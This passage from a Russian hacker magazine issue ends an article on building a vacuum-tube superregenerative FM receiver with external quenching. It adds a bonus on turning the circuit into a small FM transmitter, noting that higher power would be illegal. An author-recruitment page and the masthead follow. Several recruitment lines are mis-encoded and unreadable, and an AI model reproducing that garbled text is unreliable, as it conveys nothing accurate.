матор от  сго­рев­шей телефон­ной заряд­ки. Пер­вичная обмотка  — 50  вит­ков,
вто­рич­ная  — 250  вит­ков, на  пер­вичную обмотку подавал­ся сиг­нал с  генера‐­
тора, вто­рич­ная обмотка под­клю­чалась к экра­ниру­ющей сет­ке.

Внеш­няя супери­зация на экра­ниру­ющую сет­ку

Вспыш­ки генера­ции воз­никали, ког­да нап­ряжение на  экра­ниру­ющей сет­ке


дос­тигало  40  В. Фор­ма сиг­нала гашения, к  моему удив­лению, на  качес­тво
работы вли­яла не силь­но, меандр и синусо­ида работа­ли оди­нако­во хорошо.
Кро­ме того, в дан­ном вари­анте мож­но про­варь­иро­вать пос­тоян­ную сос­тавля‐­
ющую нап­ряжения на экра­ниру­ющей сет­ке.
Вто­рой вари­ант  — это  подавать колеба­ния гашения непос­редс­твен­но
на  управля­ющую сет­ку (в этом слу­чае я подавал сиг­нал пря­мо с  генера­тора
на  пер­вую сет­ку). Экспе­римен­ты показа­ли, что ампли­туда сиг­нала гашения
в  дан­ном слу­чае дол­жна быть око­ло  1  В  и пос­тоян­ное сме­щение на  сет­ке
при­мер­но рав­но ампли­туде сиг­нала гашения, то есть око­ло -1 В.

Внеш­няя супери­зация на сет­ку

Оба вари­анта работа­ют неп­лохо, и если собирать генера­тор гашения на лам‐­


пе, то, навер­ное, удоб­нее исполь­зовать пер­вый. Но ста­вить еще одну лам­пу
мне не хотелось, и я решил соб­рать генера­тор на тран­зисто­ре. Одна­ко, что‐­
бы не потерять, так ска­зать, дух вре­мени, я решил взять тран­зистор П16. Их
про­изводс­тво начали в  1959  году, так что они со  стер­жне­выми лам­пами
ровес­ники. Более того, мой тран­зистор выпущен в  1962-м, а  лам­па аж
в 1987 году.
Ге­нера­тор соб­ран по схе­ме бло­кинг‑генера­тора, который бла­года­ря под‐­
клю­чению кон­денса­тора парал­лель­но пер­вичной обмотке начина­ет генери‐­
ровать синусо­идаль­ные колеба­ния. Тран­сфор­матор намотан на  ган­теле‐­
образном сер­дечни­ке от  дрос­селя, пер­вичная обмотка сос­тавля­ет
2 × 25 витков, вто­рич­ная — око­ло 50 вит­ков. Точ­ное чис­ло под­биралось, что‐­
бы получить на  выходе ампли­туду  1–2  В  (приш­лось нем­ного отмо­тать). Час‐­
тоту супери­зации я выб­рал  100  кГц. В  прин­ципе, ее сме­ло мож­но варь­иро‐­
вать от  15  кГц и  где‑то до  200  кГц. Плав­ной подс­трой­кой час­тоты супери‐­
зации мож­но заг­нать свер­хре­гене­ратор в  линей­ный режим, обла­дающий
наиболь­шей чувс­тви­тель­ностью,  — прав­да, этот режим неус­той­чив
и логариф­мичес­кий удоб­нее. А вот и окон­чатель­ная схе­ма устрой­ства.

Окон­чатель­ный вари­ант свер­хре­гене­рато­ра с внеш­ней супери­заци­ей

Оче­вид­но, она отли­чает­ся от  исходной толь­ко наличи­ем внеш­него генера‐­


тора и  дрос­селя, что лег­ко поз­воля­ет прев­ратить внеш­нюю супери­зацию
в  авто­супе­риза­цию и  срав­нить работу схем. Отдель­но сле­дует упо­мянуть
цепоч­ку R3 — С9. Она отве­чает за авто­мати­чес­кое сме­щение лам­пы, которое
фор­миру­ется в  резуль­тате вып­рямле­ния сиг­нала гашения на  учас­тке
«катод — сет­ка» близ­ко к ампли­туде сиг­нала гашения, что нам и нуж­но.

INFO
Лю­бопыт­ный факт: если прос­то отклю­чить
питание генера­тора гашения, то схе­ма перей­дет
в  режим авто­супе­риза­ции, одна­ко час­тота вспы‐­
шек теперь будет опре­делять­ся уже не  цепоч­кой
R1  — C1, а  имен­но цепоч­кой R3  — С9. Прин­цип
там точ­но такой же, как и в пер­вой схе­ме, одна­ко
нас­тра­ивать час­тоту авто­супе­риза­ции в  таком
слу­чае иног­да удоб­нее. Этот метод генера­ции
колеба­ний гашения гораз­до реже встре­чает­ся
в литера­туре, одна­ко иног­да исполь­зует­ся.

А вот и осциллог­раммы с работа­ющей схе­мы.

Внеш­няя супери­зация на сет­ку

Ма­кет в сбо­ре

Жел­тый гра­фик — колеба­ния в кон­туре, синий — нап­ряжение на сет­ке. А как


внеш­няя супери­зация отра­зилась на работе при­емни­ка? Хорошо отра­зилась:
повыси­лась чувс­тви­тель­ность (это замет­но на слух), режим работы перес­тал
реаги­ровать на  под­клю­чение внеш­ней антенны, а  с под­клю­чен­ной антенной
(полувол­новый диполь за окном) при­емник стал гораз­до про­ще нас­тра­ивать‐­
ся на стан­ции. Качес­тво зву­чания тоже замет­но воз­росло, вли­яние рук на нас‐­
трой­ку ста­ло менее замет­но (может, это зах­ват час­тоты), а кро­ме того, опти‐­
маль­ное анод­ное нап­ряжение сни­зилось с 45 до 27 В. В общем и целом мож‐­
но кон­ста­тиро­вать, что такое неболь­шое усложне­ние схе­мы однознач­но себя
оправды­вает. При­мер­ные харак­терис­тики при­емни­ка: чувс­тви­тель­ность око‐­
ло  100  мкВ на  FM, ширина полосы про­пус­кания око­ло  0,5  МГц на  низ­кочас‐­
тотном учас­тке диапа­зона и  око­ло  1  МГц на  вер­хнем (оце­нивал с  помощью
NWT200).
Что каса­ется сбор­ки и  налад­ки, рекомен­дации сле­дующие: начать сто­ит
с генера­тора гашения, нуж­но добить­ся, что­бы он выдавал синусо­иду ампли‐­
тудой  1–2  В  и час­тотой око­ло  100  кГц. Тран­зистор П16  мож­но заменить
на  любой име­ющий­ся, мож­но и  про­води­мость поменять, сов­ремен­ные
работать будут даже луч­ше. Прав­да, при  исполь­зовании сов­ремен­ных тран‐­
зисто­ров при­дет­ся нес­коль­ко уве­личить резис­тор сме­щения базы, добива­ясь
тока пот­ребле­ния око­ло 5 мА.
Час­тоту подс­тра­ивают, под­бирая емкость кон­денса­тора С8. Даль­ше сле‐­
дует добить­ся воз­никно­вения вспы­шек генера­ции от лам­пы. Если генера­ции
нет, нуж­но про­верить наличие нап­ряжения накала (об этом пери­оди­чес­ки
забыва­ешь) и  пра­виль­ность сбор­ки. С  объ­емным кон­туром при­емник запус‐­
кает­ся дос­таточ­но лег­ко и работа­ет вплоть до час­тот око­ло 160 МГц, выше я
не  про­верял. Если генера­ции нет, то проб­лема может быть в  дрос­селях
или  пло­хом мон­таже. Наличие генера­ции вид­но на  осциллог­рафе, как  было
опи­сано выше, кро­ме того, при  при­кос­новении к  кон­туру раз­дает­ся щел­чок
в науш­никах. При пра­виль­ной работе в науш­никах слы­шен харак­терный шум.
Если все зарабо­тало, оста­лось под­клю­чить антенну и  нас­тро­ить­ся на  стан‐­
цию, впро­чем, силь­ные стан­ции при­нима­ются и  без антенны. Оста­лось
помес­тить конс­трук­цию в ящик крас­ного дерева с кар­болито­выми руч­ками :).

БОНУС
Ну и в качес­тве бонуса. Казалось бы, что еще мож­но выдавить из этой прос‐­
тей­шей схе­мы? А кое‑что мож­но: прев­ратить ее в передат­чик! Для это­го нуж‐­
но умень­шить соп­ротив­ление R1  до  нес­коль­ких сотен кило­ом, а  вмес­то
колеба­ний гашения подавать на  управля­ющую сет­ку лам­пы ауди­осиг­нал
ампли­тудой поряд­ка  200  мВ. Науш­ники сле­дует отклю­чить, а  питание
подавать пря­мо на кон­денса­тор С6. Все, передат­чик готов!
Лю­бопыт­ный воп­рос: какая у  него модуля­ция? В  литера­туре такой тип
модуля­ции называ­ют сме­шан­ной, и мне пред­став­лялось, что она в зна­читель‐­
ной сте­пени ампли­туд­ная. Одна­ко экспе­римент показал, что модуля­ция
получа­ется час­тотная узко­полос­ная (смот­рел SDR-при­емни­ком). Если тебе
инте­рес­но, как  получа­ется час­тотная модуля­ция, отве­чу: за  счет изме­нения
емкости лам­пы.
Да, у  лам­пы в  зависи­мос­ти от  при­ложен­ного нап­ряжения меня­ется
емкость, это про­исхо­дит из‑за изме­нения раз­мера и плот­ности элек­трон­ного
обла­ка вок­руг катода или, как  пра­виль­нее говорить, объ­емно­го заряда
катода. Эти изме­нения емкости не  такие сущес­твен­ные, как  у полуп­ровод‐­
ников, но для модуля­ции впол­не хва­тает. Сиг­нал это­го передат­чика был уве‐­
рен­но слы­шен по всей квар­тире на RTL-SDR с пятисан­тимет­ровой антенной.
Ори­енти­ровоч­ная мощ­ность такого передат­чика сос­тавля­ет  5  мВт. Если
взять лам­пу пок­руче, мож­но выжать зна­читель­но боль­ше, осо­бен­но если
еще  оза­ботить­ся сог­ласова­нием с  антенной. Но  это незакон­но и  вле­чет
за  собой адми­нис­тра­тив­ную ответс­твен­ность. При­нимать сиг­нал такого
передат­чика, судя по  опи­сани­ям в  литера­туре, мож­но на  свер­хре­гене­ратор,
а зна­чит, есть воз­можность соз­дать тран­сивер на одной лам­пе.
СТАНЬ АВТОРОМ
«ХАКЕРА»!
«Хакеру» нужны новые авторы, и ты можешь стать одним
из них! Если тебе интересно то, о чем мы пишем, и есть
желание исследовать эти темы вместе с нами, то не упусти
возможность вступить в ряды наших авторов и получать
за это все, что им причитается.

• Àâòîðû ïîëó÷àþò äåíåæíîå âîçíàãðàæäåíèå. Размер зависит


от сложности и уникальности темы и объема проделанной работы (но
не от объема текста).
• Íàøè àâòîðû ÷èòàþò «Õàêåð» áåñïëàòíî: каждая опубликованная
статья приносит месяц подписки и значительно увеличивает личную скид-
ку. Уже после третьего раза подписка станет бесплатной навсегда.

Кроме того, íàëè÷èå ïóáëèêàöèé — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü


ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû â òåìå. А еще мы планируем запуск
англоязычной версии, так что ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà
ðóáåæîì.
И конечно, ìû âñåãäà óêàçûâàåì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì
àâòîðà. На сайте ты можешь сам заполнить характеристику, поставить фото,
написать что-то о себе, добавить ссылку на сайт и профили в соцсетях. Или,
наоборот, не делать этого в целях конспирации.

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ


ÑÒÀÒÜÞ?
Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь
тему — значит, и написать сможешь. Не умеешь — поможем, будешь сом-
неваться — поддержим, накосячишь — отредактируем. Не зря у нас работает
столько редакторов! Они не только правят буквы, но и помогают с темами
и форматом и «причесывают» авторский текст, если в этом есть необ-
ходимость. И конечно, перед публикацией мы согласуем с автором все прав-
ки и вносим новые, если нужно.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?


Темы для статей — дело непростое, но и не такое сложное, как может
показаться. Стоит начать, и ты наверняка будешь придумывать темы одну
за другой!
Первым делом задай себе несколько простых вопросов:
• «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèíòåðåñîâàòü äðóãèõ?»
Частый случай: люди делают что-то потрясающее, но считают свое
занятие вполне обыденным. Если твоя мама и девушка не хотят слушать
про реверс малвари, сборку ядра Linux, проектирование микропроцес-
соров или хранение данных в ДНК, это не значит, что у тебя не найдется
благодарных читателей.
• «Áûëè ëè ó ìåíÿ â ïîñëåäíåå âðåìÿ èíòåðåñíûå ïðîåêòû?» Если
ты ресерчишь, багхантишь, решаешь crackme или задачки на CTF, если ты
разрабатываешь что-то необычное или даже просто настроил себе
какую-то удобную штуковину, обязательно расскажи нам! Мы вместе при-
думаем, как лучше подать твои наработки.
• «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?»
Попробуй вспомнить: если ты буквально недавно рассказывал кому-то
о чем-то очень важном или захватывающем (и связанным с ИБ или ИТ), то
с немалой вероятностью это может быть неплохой темой для статьи.
Или как минимум натолкнет тебя на тему.
• «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñòèëè ÷òî‑òî âàæíîå?» Если
мы о чем-то не писали, это могло быть не умышленно. Возможно, просто
никому не пришла в голову эта тема или не было человека, который
взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, под-
кинуть нам идею все равно можно.

Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé?


1. Придумываешь актуальную тему или несколько.
2. Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем
ее кому-то читать. Обычно достаточно рабочего заголовка и нескольких
предложений (pro tip: их потом можно пустить на введение).
3. Выбираешь редактора и отправляешь ему свои темы (можно главреду —
он разберется). Заодно неплохо бывает представиться и написать пару
слов о себе.
4. С редактором согласуете детали и сроки сдачи черновика. Также он выда-
ет тебе правила оформления и отвечает на все интересующие вопросы.
5. Пишешь статью в срок и отправляешь ее. Если возникают какие-то проб-
лемы, сомнения или просто задержки, ты знаешь, к кому обращаться.
6. Редактор читает статью, принимает ее или возвращает с просьбой
доработать и руководством к действию.
7. Перед публикацией получаешь версию с правками и обсуждаешь их
с редактором (или просто даешь добро).
8. Дожидаешься выхода статьи и поступления вознаграждения.

TL;DR
Если хочешь публиковаться в «Хакере», придумай тему для первой статьи
и предложи редакции.
№12 (273)


Ан­дрей Пись­мен­ный Илья Русанен Алек­сей Глаз­ков


Глав­ный редак­тор Зам. глав­ного редак­тора Выпус­кающий редак­тор
pismenny@glc.ru по тех­ничес­ким воп­росам glazkov@glc.ru
rusanen@glc.ru
Ев­гения Шарипо­ва
Литера­тур­ный редак­тор

РЕДАКТОРЫ РУБРИК


Ан­дрей Пись­мен­ный Ев­гений Зоб­нин Ва­лен­тин Хол­могоров


pismenny@glc.ru zobnin@glc.ru valentin@holmogorov.ru

Тать­яна Чуп­рова Марк Иван «aLLy» Андре­ев


chuprova@glc.ru Бруцкий-Стемпковский iam@russiansecurity.expert
brutsky@glc.ru

MEGANEWS
Ма­рия Нефёдо­ва
nefedova@glc.ru

АРТ
yambuto
yambuto@gmail.com

РЕКЛАМА
Ан­на Яков­лева
Дирек­тор по спец­про­ектам
yakovleva.a@glc.ru

РАСПРОСТРАНЕНИЕ И ПОДПИСКА

Воп­росы по под­писке: ​Воп­росы по матери­алам:


lapina@glc.ru support@glc.ru​

Ад­рес редак­ции: 125080, город Мос­ква, Волоко­лам­ское шос­се, дом 1, стро­ение 1, этаж 8, помеще­ние IX, ком­ната 54, офис 7. Изда­тель: ИП
Югай Алек­сандр Оле­гович, 400046, Вол­гоград­ская область, г. Вол­гоград, ул. Друж­бы народов, д. 54. Учре­дитель: ООО «Медиа Кар»​ ​125080,
город Мос­ква, Волоко­лам­ское шос­се, дом 1, стро­ение 1, этаж 8, помеще­ние IX, ком­ната 54, офис 7. Зарегис­три­рова­но в Федераль­ной служ­бе
по над­зору в сфе­ре свя­зи, информа­цион­ных тех­нологий и мас­совых ком­муника­ций (Рос­комнад­зоре), сви­детель­ство ​Эл № ​ФС77-​67001 от ​30.​
08.​2016  года. Мне­ние редак­ции не  обя­затель­но сов­пада­ет с  мне­нием авто­ров. Все матери­алы в  номере пре­дос­тавля­ются как  информа­ция
к  раз­мышле­нию. Лица, исполь­зующие дан­ную информа­цию в  про­тиво­закон­ных целях, могут быть прив­лечены к  ответс­твен­ности. Редак­ция
не несет ответс­твен­ности за содер­жание рек­ламных объ­явле­ний в номере. По воп­росам лицен­зирова­ния и получе­ния прав на исполь­зование
редак­цион­ных матери­алов жур­нала обра­щай­тесь по адре­су: xakep@glc.ru. © Жур­нал «Хакер», РФ, 2021

Вам также может понравиться